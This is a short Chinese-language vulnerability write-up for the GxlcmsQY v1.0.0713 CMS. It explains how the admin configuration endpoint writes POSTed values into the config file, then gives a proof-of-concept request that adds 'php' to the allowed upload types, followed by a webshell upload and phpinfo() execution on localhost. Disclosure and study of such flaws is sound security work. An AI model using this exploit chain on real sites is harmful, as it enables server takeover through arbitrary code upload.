1.分析

CMS下载地址:http://bbs.gxlcms.com/article/9

版本:GxlcmsQY v1.0.0713

\Lib\Lib\Action\Admin\UploadAction.class.php

Upload()的作用是上传文件,关键点在$up->allowExts = explode(',',C('upload_class'));,这里设置允许上传的文件后缀。

 

现在看下C('upload_class')的默认值,默认情况下,只允许上传jpg,gif,png,jpeg。

默认情况下,是不允许上传php文件的,但是在\Lib\Lib\Action\Admin\AdminAction.class.php中,可以设置配置文件。将POST参数config赋值给$config,最后调用arr2file()将$config写入到配置文件中。

 

 

 

所以我们通过修改配置文件,设置允许上传php文件。

2.poc

http://127.0.0.1/gxlcms/index.php?s=Admin-***

POST:config[site_name]=GxlcmsQY&config[upload_class]=jpg,gif,png,jpeg,php&submit=a&hash=d07c6a3f51c1d8e9a564c6803bbbd7cf

这里设置允许上传文件的后缀增加了php

这里从配置文件可以看到,已经允许上传php文件了

接下来上传webshell

http://127.0.0.1/gxlcms/Uploads/2018-04-04/5ac43d155236b.php

成功执行phpinfo()